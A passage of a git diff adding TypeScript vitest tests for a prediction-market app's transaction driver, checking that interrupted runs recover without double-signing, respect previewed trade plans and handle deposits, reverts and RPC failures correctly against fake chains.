driver.recover(); + await settled(driver); + + expect(driver.getProgress().failure?.reason).toBe("deposit-unconfirmed"); + expect( + predictSteps({ wallet: null, toAdd: 0n, symbol: "sDAI", decimals: 18, progress: driver.getProgress() }).failure, + ).toMatch(/still be confirming/); + expect(chain.signRequests).toEqual([]); + }); + + it("signs nothing again when the tab died with the first batch signed and it landed", async () => { + const chain = creditsChain({ owner: (3n * WAD) / 2n, executor: 0n, landed: [await sent(STEP_ID.predict(1))] }); + const store = savedRun([ + row(STEP_ID.createExecutor, { status: "skipped" }), + row(STEP_ID.addCredits, { status: "confirmed", hash: `0x${"a".repeat(64)}`, blockNumber: 1n }), + row(STEP_ID.predict(1), { status: "awaiting-signature" }), + ]); + const driver = drive(chain, store, FLOW_ID); + + driver.recover(); + await settled(driver); + driver.resume(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + + expect(chain.signRequests).toEqual([]); + expect(chain.landed.spends).toBe(0); + }); + + const confirmed = (letter: string): StepSummary["outcome"] => ({ + status: "confirmed", + hash: `0x${letter.repeat(64)}`, + blockNumber: 1n, + }); + const transfers = (chain: ReturnType) => + chain.signRequests.filter((tx) => tx.to === addresses.credits); + const batches = (chain: ReturnType) => + chain.signRequests.filter((tx) => tx.to === addresses.executor); + + it("moves the credits once when the transfer was in flight at recovery and lands before the retry", async () => { + const chain = creditsChain({ owner: 3n * WAD, executor: WAD / 2n }); + const store = savedRun([ + row(STEP_ID.createExecutor, { status: "skipped" }), + row(STEP_ID.addCredits, { status: "awaiting-signature" }), + row(STEP_ID.predict(1), { status: "pending" }), + ]); + const driver = drive(chain, store, FLOW_ID); + + driver.recover(); + await settled(driver); + expect(driver.getProgress().failure?.reason).toBe("deposit-unconfirmed"); + + // the transfer signed as the tab died mines while the visitor waits + chain.apply(await sent(STEP_ID.addCredits)); + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + + expect(transfers(chain)).toEqual([]); + expect(chain.landed.spends).toBe(1); + expect(chain.balances).toEqual({ owner: (3n * WAD) / 2n, executor: 0n }); + }); + + it("rebuilds the first batch once when Add credits had landed and the batch was not yet signed", async () => { + const chain = creditsChain({ owner: (3n * WAD) / 2n, executor: 2n * WAD }); + const store = savedRun([ + row(STEP_ID.createExecutor, { status: "skipped" }), + row(STEP_ID.addCredits, confirmed("a")), + row(STEP_ID.predict(1), { status: "pending" }), + ]); + const driver = drive(chain, store, FLOW_ID); + + driver.recover(); + await settled(driver); + driver.resume(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + + expect(transfers(chain)).toEqual([]); + expect(batches(chain)).toHaveLength(1); + expect(chain.landed).toEqual({ transfers: 0, spends: 1 }); + }); + + it("rebuilds the first batch once when it was signed as the tab died and its credits are not burned", async () => { + const chain = creditsChain({ owner: (3n * WAD) / 2n, executor: 2n * WAD }); + const store = savedRun([ + row(STEP_ID.createExecutor, { status: "skipped" }), + row(STEP_ID.addCredits, confirmed("a")), + row(STEP_ID.predict(1), { status: "awaiting-signature" }), + ]); + const driver = drive(chain, store, FLOW_ID); + + driver.recover(); + await settled(driver); + expect(driver.getProgress().stage).toBe("review"); + driver.resume(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + + expect(transfers(chain)).toEqual([]); + expect(batches(chain)).toHaveLength(1); + expect(chain.landed).toEqual({ transfers: 0, spends: 1 }); + expect(chain.balances.executor).toBe(0n); + }); + + it("rebuilds a first batch found reverted at recovery without moving the credits again", async () => { + const chain = creditsChain({ owner: (3n * WAD) / 2n, executor: 2n * WAD }); + const sent: Hash = `0x${"b".repeat(64)}`; + chain.mined(sent, "reverted"); + const store = savedRun([ + row(STEP_ID.createExecutor, { status: "skipped" }), + row(STEP_ID.addCredits, confirmed("a")), + row(STEP_ID.predict(1), { status: "submitted", hash: sent }), + ]); + const driver = drive(chain, store, FLOW_ID); + + driver.recover(); + await settled(driver); + expect(driver.getProgress().failure).toEqual({ reason: "reverted", retryable: true }); + expect(chain.signRequests).toEqual([]); + + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + + expect(transfers(chain)).toEqual([]); + expect(chain.landed).toEqual({ transfers: 0, spends: 1 }); + }); + + it("signs nothing again when the first batch's hash was kept and it mined while the tab was away", async () => { + const chain = creditsChain({ owner: (3n * WAD) / 2n, executor: 0n }); + const sent: Hash = `0x${"b".repeat(64)}`; + chain.mined(sent, "success"); + const store = savedRun([ + row(STEP_ID.createExecutor, { status: "skipped" }), + row(STEP_ID.addCredits, confirmed("a")), + row(STEP_ID.predict(1), { status: "submitted", hash: sent }), + ]); + const driver = drive(chain, store, FLOW_ID); + + driver.recover(); + await settled(driver); + driver.resume(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + + expect(chain.signRequests).toEqual([]); + }); + + it("spends no credits in a later batch when the tab died after the first one landed", async () => { + // the first batch's split left every option its underlying + const chain = creditsChain({ + owner: (3n * WAD) / 2n, + executor: 0n, + state: () => chainState({ underlying: 2n * WAD }), + }); + const options = [option(1), option(2)]; + const store = savedRun( + [ + row(STEP_ID.createExecutor, { status: "skipped" }), + row(STEP_ID.addCredits, confirmed("a")), + row(STEP_ID.predict(1), confirmed("b")), + row(STEP_ID.predict(2), { status: "awaiting-signature" }), + ], + options, + ); + const driver = drive(chain, store, FLOW_ID, options); + + driver.recover(); + await settled(driver); + driver.resume(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + + expect(transfers(chain)).toEqual([]); + expect(batches(chain)).toHaveLength(1); + const [second] = batches(chain); + const decoded = decodeFunctionData({ abi: tradeExecutorAbi, data: second!.data! }); + if (decoded.functionName !== "batchExecute" && decoded.functionName !== "batchValueExecute") { + throw new Error(`Expected a batch, got ${decoded.functionName}`); + } + expect(decoded.args[0].map((call) => call.to)).not.toContain(addresses.manager); + }); + + it("signs nothing again when a first batch signed with no hash is recovered twice before it is resumed", async () => { + const chain = creditsChain({ owner: (3n * WAD) / 2n, executor: 0n, landed: [await sent(STEP_ID.predict(1))] }); + const store = savedRun([ + row(STEP_ID.createExecutor, { status: "skipped" }), + row(STEP_ID.addCredits, confirmed("a")), + row(STEP_ID.predict(1), { status: "awaiting-signature" }), + ]); + // the popup is opened and closed once before the visitor resumes + const first = drive(chain, store, FLOW_ID); + first.recover(); + await settled(first); + first.dispose(); + + const driver = drive(chain, store, FLOW_ID); + driver.recover(); + await settled(driver); + driver.resume(); + await settled(driver); + + expect(driver.getProgress().stage, JSON.stringify(driver.getProgress().failure)).toBe("complete"); + expect(chain.signRequests).toEqual([]); + }); + + it("signs nothing again when one driver recovers the same run twice, as a remounted popup does", async () => { + const chain = creditsChain({ owner: (3n * WAD) / 2n, executor: 0n, landed: [await sent(STEP_ID.predict(1))] }); + const store = savedRun([ + row(STEP_ID.createExecutor, { status: "skipped" }), + row(STEP_ID.addCredits, confirmed("a")), + row(STEP_ID.predict(1), { status: "awaiting-signature" }), + ]); + const driver = drive(chain, store, FLOW_ID); + + driver.recover(); + await settled(driver); + driver.dispose(); + driver.recover(); + await settled(driver); + driver.resume(); + await settled(driver); + + expect(driver.getProgress().stage, JSON.stringify(driver.getProgress().failure)).toBe("complete"); + expect(chain.signRequests).toEqual([]); + }); + + it("reads withdrawn credits as withdrawn once the recovered run's rebuilt batch reverts", async () => { + // the rebuilt first batch is the first send, and reverts + const chain = creditsChain({ owner: (3n * WAD) / 2n, executor: 2n * WAD }, [1]); + const store = savedRun([ + row(STEP_ID.createExecutor, { status: "skipped" }), + row(STEP_ID.addCredits, confirmed("a")), + row(STEP_ID.predict(1), { status: "awaiting-signature" }), + ]); + const driver = drive(chain, store, FLOW_ID); + + driver.recover(); + await settled(driver); + driver.resume(); + await settled(driver); + expect(driver.getProgress().failure?.reason).toBe("reverted"); + + chain.balances.owner += chain.balances.executor; + chain.balances.executor = 0n; + driver.retry(); + await settled(driver); + + expect(driver.getProgress().stage).not.toBe("complete"); + expect(chain.landed.spends).toBe(0); + }); + + it("reads withdrawn credits as withdrawn when a reload finds the rebuilt batch reverted", async () => { + const chain = creditsChain({ owner: 2n * WAD, executor: 0n }); + const store = createFlowRunStore({ storage: createMemoryStorage() }); + store.save({ + flowId: FLOW_ID, + adapterId: "predict-flow", + status: "failed", + error: { stepId: STEP_ID.predict(1), message: "reverted", cause: "reverted", hash: `0x${"c".repeat(64)}` }, + ctx: ctx(), + snapshot: { ...request(), collateralAtStart: 0n, creditsAtStart: WAD / 2n, fromBlock: 1n }, + steps: [ + row(STEP_ID.createExecutor, { status: "skipped" }), + row(STEP_ID.addCredits, confirmed("a")), + row(STEP_ID.predict(1), { status: "pending" }), + ], + }); + const driver = drive(chain, store, FLOW_ID); + + driver.recover(); + await settled(driver); + expect(driver.getProgress().stage).toBe("review"); + driver.resume(); + await settled(driver); + + expect(driver.getProgress().stage).not.toBe("complete"); + expect(chain.landed.spends).toBe(0); + }); + + it("pins the trade wallet's credits and the block after the latest as the run starts, before anything moves", async () => { + const chain = creditsChain({ owner: 3n * WAD, executor: WAD / 2n }); + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const driver = drive(chain, store, "credits-pinned"); + const saved: PredictSnapshot[] = []; + const save = store.save.bind(store); + store.save = (run) => { + saved.push(run.snapshot as PredictSnapshot); + save(run); + }; + + driver.start(); + await settled(driver); + + expect(saved[0]?.creditsAtStart).toBe(WAD / 2n); + // the fake chain's latest block is 1: an earlier run's transactions in it are not this run's + expect(saved[0]?.fromBlock).toBe(2n); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.depositMint.test.ts b/apps/web/src/features/predict/run/__tests__/driver.depositMint.test.ts new file mode 100644 index 00000000..3ed95a6a --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.depositMint.test.ts @@ -0,0 +1,87 @@ +import { createFlowRunStore, createMemoryStorage, type FlowTx, type TxGateway } from "@foresight/tx-orchestrator"; +import { decodeFunctionData, type Hash, type TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { depositNativeTx } from "@/lib/trade-executor/funding"; + +import { gnosisRouterAbi, tradeExecutorAbi } from "@/config/contracts"; + +import { addresses, ctx, fakeQuoter, fakeReader, snapshot, WAD } from "../../flow/__tests__/support/fakes"; +import type { LandedTx } from "../../flow/types"; +import { createPredictRun } from "../driver"; +import { predictFlowId } from "../interrupted"; +import type { PredictDriver } from "../types"; + +const FLOW_ID = predictFlowId("session-1", addresses.owner); +const ESTIMATE = (WAD * 8n) / 10n; +const MINTED = ESTIMATE - 1_000n; + +function parentSplit(tx: FlowTx): bigint { + if (tx.to !== addresses.executor || !tx.data) return 0n; + const batch = decodeFunctionData({ abi: tradeExecutorAbi, data: tx.data }); + let sum = 0n; + for (const call of batch.args[0] ?? []) { + if (call.to !== addresses.router) continue; + const inner = decodeFunctionData({ abi: gnosisRouterAbi, data: call.data }); + if (inner.functionName === "splitPosition" && inner.args[1] === addresses.parentMarket) + sum += inner.args[2] as bigint; + } + return sum; +} + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +describe("createPredictRun with an xDAI deposit found landed", () => { + it("splits what the deposit minted after the read of its mint failed once", async () => { + const sends: FlowTx[] = []; + let sent = 0; + const receipt = (hash: Hash) => + ({ transactionHash: hash, status: "success", blockNumber: 2n, logs: [] }) as unknown as TransactionReceipt; + const gateway: TxGateway = { + sendTransaction: (tx) => { + sends.push(tx); + return Promise.resolve(`0x${(++sent).toString(16).padStart(64, "0")}` as Hash); + }, + waitForReceipt: ({ hash }) => Promise.resolve(receipt(hash)), + getReceipt: (hash) => Promise.resolve(receipt(hash)), + isKnown: () => Promise.resolve(true), + }; + const deposit = depositNativeTx({ executor: addresses.executor, sDaiAdapter: addresses.sDaiAdapter, amount: WAD }); + let calls = 0; + let depositLanded = false; + const reader = { + ...fakeReader({ deployed: true }), + landedSince: (): Promise => { + if (!depositLanded) return Promise.resolve([]); + calls += 1; + // the second read, the mint's after the skip, hits a rate limit + if (calls === 2) return Promise.reject(new Error("HTTP request failed. Status: 429")); + return Promise.resolve([ + { to: deposit.to, value: deposit.value ?? 0n, input: deposit.data ?? "0x", collateralReceived: MINTED }, + ]); + }, + }; + const driver = createPredictRun({ + gateway, + reader, + quoter: fakeQuoter(), + flowId: FLOW_ID, + ctx: () => ctx(), + snapshot: () => snapshot({ depositNative: true, deposit: WAD, collateralIn: ESTIMATE, collateralBefore: 0n }), + store: createFlowRunStore({ storage: createMemoryStorage() }), + }); + drivers.push(driver); + // the deposit landed before the run reached it, as a reload of a run whose deposit mined finds it + depositLanded = true; + driver.start(); + await vi.waitFor(() => expect(["halted", "complete"]).toContain(driver.getProgress().stage)); + expect(driver.getProgress().failure?.reason).toBe("rpc"); + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + const batch = sends.find((tx) => tx.to === addresses.executor); + expect(batch && parentSplit(batch)).toBe(MINTED); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.discardDispose.test.ts b/apps/web/src/features/predict/run/__tests__/driver.discardDispose.test.ts new file mode 100644 index 00000000..d22f020b --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.discardDispose.test.ts @@ -0,0 +1,117 @@ +import { createFlowRunStore, createMemoryStorage, type TxGateway } from "@foresight/tx-orchestrator"; +import type { Hash, TransactionReceipt } from "viem"; +import { describe, expect, it, vi } from "vitest"; + +import { addresses, ctx, fakeQuoter, fakeReader, snapshot } from "../../flow/__tests__/support/fakes"; +import { planPredict, STEP_ID } from "../../flow/plan"; +import type { SentTx } from "../../flow/types"; +import { createPredictRun } from "../driver"; + +describe("Discard across popup disposal", () => { + it.each(["receipt", "reverted", "taken", "pending", "unseen", "error"] as const)( + "finishes reconciliation and releases ownership when the send is %s", + async (mode) => { + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const flowId = "discard-dispose"; + const hash = `0x${"a".repeat(64)}` as Hash; + let discarding = false; + const quoter = fakeQuoter(); + const reader = { + ...fakeReader({ deployed: true }), + sentWithNonce: async ({ nonce }: { nonce: number }): Promise => ({ + status: discarding && mode === "taken" && nonce === 0 ? "taken" : "none", + }), + }; + const request = snapshot({ + sent: { + [STEP_ID.deposit]: { + owner: addresses.owner, + nonce: 0, + fromBlock: 1n, + heldAt: Date.now(), + tx: { to: addresses.collateral }, + }, + }, + }); + const steps = planPredict(request, { reader, quoter }); + store.save({ + flowId, + adapterId: "predict-flow", + status: "paused", + reason: "interrupted", + ctx: ctx(), + snapshot: request, + steps: steps.map((step) => ({ + stepId: step.id, + label: step.label, + outcome: + step.id === STEP_ID.deposit + ? { status: "submitted" as const, hash } + : step.id === STEP_ID.createExecutor + ? { status: "skipped" as const } + : { status: "pending" as const }, + })), + }); + let finish!: (receipt: TransactionReceipt | null) => void; + let fail!: (error: Error) => void; + const result = new Promise((resolve, reject) => { + finish = resolve; + fail = reject; + }); + const gateway: TxGateway = { + sendTransaction: vi.fn(), + waitForReceipt: vi.fn(), + isKnown: async () => discarding && mode === "pending", + getReceipt: vi.fn(async () => (discarding ? result : null)), + }; + const released = vi.fn(); + const driver = createPredictRun({ + gateway, + store, + reader, + quoter, + flowId, + ctx: () => ctx(), + snapshot: () => request, + ownership: { claim: async () => released, heldElsewhere: async () => false, heldHere: () => true }, + }); + try { + driver.recover(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("review")); + driver.resume(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("unseen")); + discarding = true; + driver.discard(); + driver.dispose(); + const releasedBeforeRead = released.mock.calls.length; + if (mode === "error") fail(new Error("RPC unavailable")); + else { + finish( + mode === "receipt" || mode === "reverted" + ? ({ + transactionHash: hash, + status: mode === "receipt" ? "success" : "reverted", + blockNumber: 10n, + logs: [], + } as unknown as TransactionReceipt) + : null, + ); + } + if (mode === "receipt" || mode === "reverted" || mode === "taken") { + await vi.waitFor(() => expect(store.load(flowId)).toBeNull()); + } else { + await vi.waitFor(() => expect(released).toHaveBeenCalledOnce()); + expect(store.load(flowId)?.steps.find((step) => step.stepId === STEP_ID.deposit)?.outcome).toEqual({ + status: "submitted", + hash, + }); + } + expect(releasedBeforeRead).toBe(0); + await vi.waitFor(() => expect(released).toHaveBeenCalledOnce()); + expect(gateway.sendTransaction).not.toHaveBeenCalled(); + } finally { + driver.dispose(); + } + }, + ); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.feeGap.test.ts b/apps/web/src/features/predict/run/__tests__/driver.feeGap.test.ts new file mode 100644 index 00000000..67c68fcb --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.feeGap.test.ts @@ -0,0 +1,91 @@ +import type { FlowTx, TxGateway } from "@foresight/tx-orchestrator"; +import type { Hash, TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import type { SwapQuoter } from "@/lib/swap/types"; + +import { + addresses, + chainState, + ctx, + fakeReader, + option, + poolQuoter, + snapshot, +} from "../../flow/__tests__/support/fakes"; +import type { HeldTo } from "../../flow/types"; +import { previewTrades } from "../../utils/plan"; +import { createPredictRun } from "../driver"; +import type { PredictDriver } from "../types"; + +const OPTION = option(1); +const SNAP = snapshot({ options: [OPTION] }); + +/** + * Pays `gapBps` less than the pool maths on every leg, as Lens does when the next swap's fee is above the fee the + * pool stores, which the pool maths read. + */ +function feeGapQuoter(gapBps: bigint): SwapQuoter { + const pool = poolQuoter([OPTION]); + return { + quote: async (request) => { + const quote = await pool.quote(request); + return { ...quote, amountOut: (quote.amountOut * (10_000n - gapBps)) / 10_000n }; + }, + }; +} + +/** The plan Details shows from the pools as read, which is what Predict holds the run to. */ +const shown = (): HeldTo => { + const state = chainState(); + const plan = previewTrades( + { pools: state.pools, targetPriceWad: OPTION.targetPriceWad, held: state.held, splitAmount: SNAP.collateralIn }, + SNAP.slippage.tradeBps, + )!; + return { plans: { [OPTION.childMarket.toLowerCase()]: plan } }; +}; + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +describe("createPredictRun when every quote pays a fee the pools as read do not", () => { + it("goes on from one Confirm at moved, held to the quotes it showed", async () => { + const sends: FlowTx[] = []; + const gateway: TxGateway = { + sendTransaction: (tx) => { + sends.push(tx); + return Promise.resolve(`0x${sends.length.toString(16).padStart(64, "0")}` as Hash); + }, + waitForReceipt: ({ hash }) => + Promise.resolve({ + transactionHash: hash, + status: "success", + blockNumber: 2n, + logs: [], + } as unknown as TransactionReceipt), + getReceipt: () => Promise.resolve(null), + isKnown: () => Promise.resolve(true), + }; + const driver = createPredictRun({ + gateway, + reader: fakeReader({ deployed: true }), + quoter: feeGapQuoter(150n), + flowId: "fee-gap", + ctx: () => ctx(), + snapshot: () => SNAP, + }); + drivers.push(driver); + + driver.start(shown()); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("moved")); + expect(sends).toEqual([]); + + driver.confirm(); + await vi.waitFor(() => expect(["moved", "halted", "complete"]).toContain(driver.getProgress().stage)); + + expect(driver.getProgress().stage).toBe("complete"); + expect(sends.filter((tx) => tx.to === addresses.executor)).toHaveLength(1); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.heldTo.test.ts b/apps/web/src/features/predict/run/__tests__/driver.heldTo.test.ts new file mode 100644 index 00000000..4be1e6ac --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.heldTo.test.ts @@ -0,0 +1,237 @@ +import { type FlowTx, type TxGateway } from "@foresight/tx-orchestrator"; +import { decodeFunctionData, type Hash, type TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { ALGEBRA_ROUTER_ABI } from "@/lib/swap/algebraRouter"; + +import { creditsManagerAbi, gnosisRouterAbi, tradeExecutorAbi } from "@/config/contracts"; + +import { + addresses, + chainState, + ctx, + fakeCreditsQuoter, + poolQuoter, + fakeReader, + option, + snapshot, + WAD, +} from "../../flow/__tests__/support/fakes"; +import { previewCreditsSwap } from "../../flow/plan"; +import type { CreditsSwapPreview, OptionChainState, PredictSnapshot } from "../../flow/types"; +import { CREDITS_SLIPPAGE_BPS, SLIPPAGE_BPS } from "../../oracle/tolerances"; +import { previewTrades, type PreviewTrades } from "../../utils/plan"; +import { createPredictRun } from "../driver"; +import type { PredictDriver } from "../types"; + +const OPTION = option(1); +const KEY = OPTION.childMarket.toLowerCase(); +const CREDITS = 2n * WAD; + +/** The fakes' pools: UP shallow above the estimate, DOWN deep below it. */ +const AS_SHOWN = chainState(); +/** UP four times as deep, so selling it to the estimate takes far more than was shown. */ +const DEEPER = chainState({ pools: { ...AS_SHOWN.pools, up: { ...AS_SHOWN.pools.up, liquidity: 2n * WAD } } }); +/** UP 30% deeper: within a 50% slippage setting, well past the moved tolerance. */ +const SLIGHTLY_DEEPER = chainState({ + pools: { ...AS_SHOWN.pools, up: { ...AS_SHOWN.pools.up, liquidity: (13n * WAD) / 20n } }, +}); + +/** The plan the popup shows for `state` with `split` minted per option, as `usePricePreview` works it out. */ +const planOn = (state: OptionChainState, split: bigint, slippageBps = SLIPPAGE_BPS): PreviewTrades => + previewTrades( + { + pools: state.pools, + targetPriceWad: OPTION.targetPriceWad, + held: state.held, + splitAmount: state.underlying + split, + }, + slippageBps, + )!; + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +/** A chain where every send lands; `onSend` lets a test move the pools while a transaction is out. */ +function setup(args: { + request: PredictSnapshot; + state: OptionChainState; + creditsLossBps?: () => bigint; + onSend?: (tx: FlowTx, moveTo: (next: OptionChainState) => void) => void; +}) { + let state = args.state; + const moveTo = (next: OptionChainState) => (state = next); + const sent: FlowTx[] = []; + const receipt = (hash: Hash) => + ({ transactionHash: hash, status: "success", blockNumber: 2n, logs: [] }) as unknown as TransactionReceipt; + const gateway: TxGateway = { + sendTransaction: (tx) => { + sent.push(tx); + args.onSend?.(tx, moveTo); + return Promise.resolve(`0x${sent.length.toString(16).padStart(64, "0")}` as Hash); + }, + waitForReceipt: ({ hash }) => Promise.resolve(receipt(hash)), + getReceipt: (hash) => Promise.resolve(receipt(hash)), + isKnown: () => Promise.resolve(true), + }; + const reader = fakeReader({ + deployed: true, + state: () => state, + credits: { [addresses.executor]: args.request.creditsToSpend }, + }); + const creditsQuoter = fakeCreditsQuoter({ lossBps: args.creditsLossBps }); + const driver = createPredictRun({ + gateway, + reader, + quoter: poolQuoter([OPTION], () => state), + creditsQuoter, + flowId: `held-${drivers.length}`, + ctx: () => ctx(), + snapshot: () => args.request, + }); + drivers.push(driver); + const preview = (): Promise => + previewCreditsSwap(ctx(), args.request.creditsToSpend, args.request.slippage.creditsBps, { + reader, + creditsQuoter, + }); + return { driver, sent, moveTo, preview }; +} + +function batchCalls(tx: FlowTx) { + if (tx.to !== addresses.executor || !tx.data) return []; + const decoded = decodeFunctionData({ abi: tradeExecutorAbi, data: tx.data }); + if (decoded.functionName !== "batchValueExecute" && decoded.functionName !== "batchExecute") return []; + return decoded.args[0].map((call) => ({ to: call.to, data: call.data })); +} + +/** What a batch splits of the option's underlying. */ +function optionSplit(tx: FlowTx): bigint | undefined { + for (const call of batchCalls(tx)) { + if (call.to !== addresses.router) continue; + const decoded = decodeFunctionData({ abi: gnosisRouterAbi, data: call.data }); + if (decoded.functionName === "splitPosition" && decoded.args[1] === OPTION.childMarket) return decoded.args[2]; + } + return undefined; +} + +/** The least the credits swap in a batch may pay. */ +function creditsMinimum(tx: FlowTx): bigint | undefined { + for (const call of batchCalls(tx)) { + if (call.to !== addresses.manager) continue; + const execute = decodeFunctionData({ abi: creditsManagerAbi, data: call.data }); + if (execute.functionName !== "execute") continue; + const swap = decodeFunctionData({ abi: ALGEBRA_ROUTER_ABI, data: execute.args[1] }); + return swap.args[0].amountOutMinimum; + } + return undefined; +} + +const sdaiRun = snapshot({ options: [OPTION], deposit: WAD, collateralIn: WAD }); +const creditsRun = snapshot({ options: [OPTION], deposit: 0n, collateralIn: 0n, creditsToSpend: CREDITS }); + +const complete = (driver: PredictDriver) => vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); +const atMoved = (driver: PredictDriver) => vi.waitFor(() => expect(driver.getProgress().stage).toBe("moved")); + +describe("a run held to what Details showed", () => { + it("signs the per-option split Details showed when the credits swap loses 15%", async () => { + const { driver, sent, preview } = setup({ request: creditsRun, state: AS_SHOWN, creditsLossBps: () => 1500n }); + const credits = await preview(); + + driver.start({ plans: { [KEY]: planOn(AS_SHOWN, credits.minted) }, credits }); + await complete(driver); + + expect(optionSplit(sent.at(-1)!)).toBe(planOn(AS_SHOWN, credits.minted).split); + }); + + it("holds the credits swap's minimum to the floor Details showed", async () => { + let loss = 5n; + const { driver, sent, preview } = setup({ request: creditsRun, state: AS_SHOWN, creditsLossBps: () => loss }); + const credits = await preview(); + loss = 10n; + + driver.start({ plans: { [KEY]: planOn(AS_SHOWN, credits.minted) }, credits }); + await complete(driver); + + expect(creditsMinimum(sent.at(-1)!)).toBe(credits.floor); + }); + + it("stops at moved, signing nothing, when the credits swap now pays less than the floor Details showed", async () => { + let loss = 5n; + const { driver, sent, preview } = setup({ request: creditsRun, state: AS_SHOWN, creditsLossBps: () => loss }); + const credits = await preview(); + loss = 1500n; + + driver.start({ plans: { [KEY]: planOn(AS_SHOWN, credits.minted) }, credits }); + await atMoved(driver); + + const now = await preview(); + expect(driver.getProgress().moved?.credits).toEqual(now); + expect(driver.getProgress().moved?.plans[KEY]).toEqual(planOn(AS_SHOWN, now.minted)); + expect(sent).toEqual([]); + + driver.confirm(); + await complete(driver); + expect(creditsMinimum(sent.at(-1)!)).toBe(now.floor); + }); + + it("stops at moved when a run spends credits Details showed no swap for", async () => { + const { driver, sent, preview } = setup({ request: creditsRun, state: AS_SHOWN }); + const credits = await preview(); + + driver.start({ plans: { [KEY]: planOn(AS_SHOWN, credits.minted) } }); + await atMoved(driver); + + expect(driver.getProgress().moved?.credits).toEqual(credits); + expect(sent).toEqual([]); + }); + + it("stops at moved when an option Details showed no plan for now trades", async () => { + const { driver, sent } = setup({ request: sdaiRun, state: AS_SHOWN }); + + driver.start({ plans: {} }); + await atMoved(driver); + + expect(driver.getProgress().moved).toEqual({ + markets: [OPTION.childMarket], + plans: { [KEY]: planOn(AS_SHOWN, WAD) }, + }); + expect(sent).toEqual([]); + }); + + it("stops at moved under a 50% slippage setting when the plan's amounts moved by a third", async () => { + const request = { ...sdaiRun, slippage: { tradeBps: 5_000, creditsBps: CREDITS_SLIPPAGE_BPS } }; + const { driver, sent } = setup({ request, state: SLIGHTLY_DEEPER }); + + driver.start({ plans: { [KEY]: planOn(AS_SHOWN, WAD, 5_000) } }); + await atMoved(driver); + + expect(sent).toEqual([]); + }); + + it("stops at moved rather than re-plan when the pools move while the deposit is signed, then goes on once confirmed", async () => { + const { driver, sent } = setup({ + request: sdaiRun, + state: AS_SHOWN, + onSend: (tx, moveTo) => { + if (tx.to !== addresses.executor) moveTo(DEEPER); + }, + }); + + driver.start({ plans: { [KEY]: planOn(AS_SHOWN, WAD) } }); + await atMoved(driver); + + expect(sent.map((tx) => tx.to)).toEqual([addresses.collateral]); + expect(driver.getProgress().moved).toEqual({ + markets: [OPTION.childMarket], + plans: { [KEY]: planOn(DEEPER, WAD) }, + }); + expect(driver.getProgress().failure).toBeUndefined(); + + driver.confirm(); + await complete(driver); + expect(sent.map((tx) => tx.to)).toEqual([addresses.collateral, addresses.executor]); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.incompleteRecovery.test.ts b/apps/web/src/features/predict/run/__tests__/driver.incompleteRecovery.test.ts new file mode 100644 index 00000000..90193dbb --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.incompleteRecovery.test.ts @@ -0,0 +1,72 @@ +import { createFlowRunStore, createMemoryStorage, type TxGateway } from "@foresight/tx-orchestrator"; +import { describe, expect, it, vi } from "vitest"; + +import { ctx, fakeQuoter, fakeReader, option, snapshot } from "../../flow/__tests__/support/fakes"; +import { planPredict, STEP_ID } from "../../flow/plan"; +import { createPredictRun } from "../driver"; + +describe("stored prediction step integrity", () => { + it.each(["missing", "duplicate"])( + "refuses a %s prediction step before sending the saved deposit", + async (corruption) => { + const storage = createMemoryStorage(); + const store = createFlowRunStore({ storage }); + const flowId = "incomplete-prediction"; + const reader = fakeReader({ deployed: true }); + const quoter = fakeQuoter(); + const steps = planPredict(snapshot(), { reader, quoter }).map((step) => ({ + stepId: step.id, + label: step.label, + outcome: { status: "pending" as const }, + })); + store.save({ + flowId, + adapterId: "predict-flow", + status: "paused", + reason: "rejected", + ctx: ctx(), + snapshot: snapshot(), + steps, + }); + const key = storage.keys()[0]!; + const raw = JSON.parse(storage.getItem(key)!); + const prediction = raw.steps.find((step: { stepId: string }) => step.stepId === STEP_ID.predict(1)); + raw.steps = + corruption === "missing" + ? raw.steps.filter((step: { stepId: string }) => step.stepId !== STEP_ID.predict(1)) + : [...raw.steps, prediction]; + storage.setItem(key, JSON.stringify(raw)); + const evidence = storage.getItem(key); + const gateway: TxGateway = { + sendTransaction: vi.fn(), + waitForReceipt: vi.fn(), + getReceipt: vi.fn(), + isKnown: vi.fn(), + }; + const onComplete = vi.fn(); + const driver = createPredictRun({ + store, + flowId, + gateway, + reader, + quoter, + ctx: () => ctx(), + snapshot: () => snapshot(), + sessionOptions: () => [option(1)], + onComplete, + }); + try { + driver.recover(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("unknown")); + driver.resume(); + expect(gateway.sendTransaction).not.toHaveBeenCalled(); + expect(onComplete).not.toHaveBeenCalled(); + 